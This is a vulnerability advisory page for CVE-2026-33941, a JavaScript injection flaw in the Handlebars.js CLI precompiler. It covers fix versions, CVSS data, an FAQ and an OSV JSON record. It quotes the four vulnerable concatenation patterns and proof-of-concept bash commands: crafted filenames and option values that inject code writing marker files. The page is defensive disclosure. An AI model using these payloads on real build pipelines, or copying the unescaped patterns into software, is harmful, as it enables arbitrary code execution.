CVE-2026-33941: Handlebars Handlebars.js Has JavaScript Injection Vulnerability

HIGH
Advisory Identifier: GHSA-xjpj-3mr7-gcpf
CVSS 8.2
CWE-116 CWE-94 CWE-79
Published
Advisory Summary

CVE-2026-33941 is a HIGH (CVSS 8.2) handlebars.js has javascript injection vulnerability (CWE-116: Improper Encoding or Escaping of Output) affecting Handlebars libraries in the npm ecosystem. The issue involves handlebars.js has javascript injection in cli precompiler via unescaped names and options. Remediation is available by upgrading affected packages to version 4.7.9.

CVE-2026-33941 at a Glance

CVE Identifier CVE-2026-33941
GHSA Identifier GHSA-xjpj-3mr7-gcpf
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-116: Improper Encoding or Escaping of Output
Affected Product Handlebars
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33941

To remediate this vulnerability, upgrade all affected Handlebars dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

handlebars fixed: 4.7.9
npm install handlebars@4.7.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls handlebars

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-33941, inspect your project dependencies using npm:

npm ls handlebars

Analyze the terminal output to locate any version of Handlebars in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.7.9), your application is affected.

Note: The npm ls handlebars command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-116: Improper Encoding or Escaping of Output, where the product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. as a result, the intended structure of the message is not preserved. In Handlebars, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser. ## Description `lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist: ### 1. Template name injection ```javascript // Vulnerable code pattern output += 'templates["' + template.name + '"] = template(...)'; ``` `template.name` is derived from the file system path. A filename containing `"` or `'];` breaks out of the string literal and injects arbitrary JavaScript. ### 2. Namespace injection (`-n` / `--namespace`) ```javascript // Vulnerable code pattern output += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};'; ``` `opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement. ### 3. CommonJS path injection (`-c` / `--commonjs`) ```javascript // Vulnerable code pattern output += 'var Handlebars = require("' + opts.commonjs + '");'; ``` `opts.commonjs` is interpolated inside double quotes with no escaping, allowing `"` to close the string and inject further code. ### 4. AMD path injection (`-h` / `--handlebarPath`) ```javascript // Vulnerable code pattern output += "define(['" + opts.handlebarPath + "handlebars.runtime'], ...)"; ``` `opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element. All four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser. ## Proof of Concept **Template name vector (creates a file `pwned` on disk):** ```bash mkdir -p templates printf 'Hello' > "templates/evil'] = (function(){require(\"fs\").writeFileSync(\"pwned\",\"1\")})(); //.handlebars" node bin/handlebars templates -o out.js node -e 'require("./out.js")' # Executes injected code, creates ./pwned ``` **Namespace vector:** ```bash node bin/handlebars templates -o out.js \ -n "App.ns; require('fs').writeFileSync('pwned2','1'); //" node -e 'require("./out.js")' ``` **CommonJS vector:** ```bash node bin/handlebars templates -o out.js \ -c 'handlebars"); require("fs").writeFileSync("pwned3","1"); //' node -e 'require("./out.js")' ``` **AMD vector:** ```bash node bin/handlebars templates -o out.js -a \ -h "'); require('fs').writeFileSync('pwned4','1'); // " node -e 'require("./out.js")' ``` ## Workarounds - **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values that contain characters with JavaScript string-escaping significance (`"`, `'`, `;`, etc.). - **Use a fixed, trusted namespace string** passed via a configuration file rather than command-line arguments in automated pipelines. - **Run the precompiler in a sandboxed environment** (container with no write access to sensitive paths) to limit the impact of successful exploitation. - **Audit template filenames** in any repository or package that is consumed by an automated build pipeline.

CVE-2026-33941 Affected Handlebars Versions

1 component(s)
Fixed Versions:
4.7.9
Product / Package Ecosystem Affected Versions Fixed Version
handlebars
npm
≥ 4.0.0
< 4.7.9
4.7.9

References

Frequently Asked Questions

What is CVE-2026-33941?
CVE-2026-33941 is a security vulnerability in Handlebars involving Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options under CWE-116: Improper Encoding or Escaping of Output.
Which Handlebars versions are affected?
Affected versions include releases prior to 4.7.9 across affected packages: handlebars.
What version fixes CVE-2026-33941?
Upgrading to 4.7.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is handlebars affected?
Yes, handlebars is affected in releases prior to 4.7.9. Upgrade your dependency to 4.7.9 or later.
What is the CVSS score of CVE-2026-33941?
CVE-2026-33941 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33941?
CVE-2026-33941 is classified under CWE-116: Improper Encoding or Escaping of Output (The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved.).
How can I check npm dependencies for CVE-2026-33941?
Run the dependency tree command: 'npm ls handlebars'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xjpj-3mr7-gcpf",
  "modified" : "2026-03-30T20:08:52Z",
  "published" : "2026-03-27T18:22:10Z",
  "aliases" : [ "CVE-2026-33941" ],
  "summary" : "Handlebars.js has JavaScript Injection in CLI Precompiler via Unescaped Names and Options",
  "details" : "## Summary\n\nThe Handlebars CLI precompiler (`bin/handlebars` / `lib/precompiler.js`) concatenates user-controlled strings — template file names and several CLI options — directly into the JavaScript it emits, without any escaping or sanitization. An attacker who can influence template filenames or CLI arguments can inject arbitrary JavaScript that executes when the generated bundle is loaded in Node.js or a browser.\n\n## Description\n\n`lib/precompiler.js` generates JavaScript source by string-interpolating several values directly into the output. Four distinct injection points exist:\n\n### 1. Template name injection\n\n```javascript\n// Vulnerable code pattern\noutput += 'templates[\"' + template.name + '\"] = template(...)';\n```\n\n`template.name` is derived from the file system path. A filename containing `\"` or `'];` breaks out of the string literal and injects arbitrary JavaScript.\n\n### 2. Namespace injection (`-n` / `--namespace`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var templates = ' + opts.namespace + ' = ' + opts.namespace + ' || {};';\n```\n\n`opts.namespace` is emitted as raw JavaScript. Anything after a `;` in the value becomes an additional JavaScript statement.\n\n### 3. CommonJS path injection (`-c` / `--commonjs`)\n\n```javascript\n// Vulnerable code pattern\noutput += 'var Handlebars = require(\"' + opts.commonjs + '\");';\n```\n\n`opts.commonjs` is interpolated inside double quotes with no escaping, allowing `\"` to close the string and inject further code.\n\n### 4. AMD path injection (`-h` / `--handlebarPath`)\n\n```javascript\n// Vulnerable code pattern\noutput += \"define(['\" + opts.handlebarPath + \"handlebars.runtime'], ...)\";\n```\n\n`opts.handlebarPath` is interpolated inside single quotes, allowing `'` to close the array element.\n\nAll four injection points result in code that executes when the generated bundle is `require()`d or loaded in a browser.\n\n## Proof of Concept\n\n**Template name vector (creates a file `pwned` on disk):**\n\n```bash\nmkdir -p templates\nprintf 'Hello' > \"templates/evil'] = (function(){require(\\\"fs\\\").writeFileSync(\\\"pwned\\\",\\\"1\\\")})(); //.handlebars\"\n\nnode bin/handlebars templates -o out.js\nnode -e 'require(\"./out.js\")'  # Executes injected code, creates ./pwned\n```\n\n**Namespace vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -n \"App.ns; require('fs').writeFileSync('pwned2','1'); //\"\nnode -e 'require(\"./out.js\")'\n```\n\n**CommonJS vector:**\n\n```bash\nnode bin/handlebars templates -o out.js \\\n  -c 'handlebars\"); require(\"fs\").writeFileSync(\"pwned3\",\"1\"); //'\nnode -e 'require(\"./out.js\")'\n```\n\n**AMD vector:**\n\n```bash\nnode bin/handlebars templates -o out.js -a \\\n  -h \"'); require('fs').writeFileSync('pwned4','1'); // \"\nnode -e 'require(\"./out.js\")'\n```\n\n## Workarounds\n\n- **Validate all CLI inputs** before invoking the precompiler. Reject filenames and option values  that contain characters with JavaScript string-escaping significance (`\"`, `'`, `;`, etc.).\n- **Use a fixed, trusted namespace string** passed via a configuration file rather than  command-line arguments in automated pipelines.\n- **Run the precompiler in a sandboxed environment** (container with no write access to sensitive  paths) to limit the impact of successful exploitation.\n- **Audit template filenames** in any repository or package that is consumed by an automated  build pipeline.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "handlebars"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.7.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.7.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xjpj-3mr7-gcpf"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33941"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/handlebars-lang/handlebars.js"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-116", "CWE-79", "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T18:22:10Z",
    "nvd_published_at" : "2026-03-27T22:16:21Z"
  }
}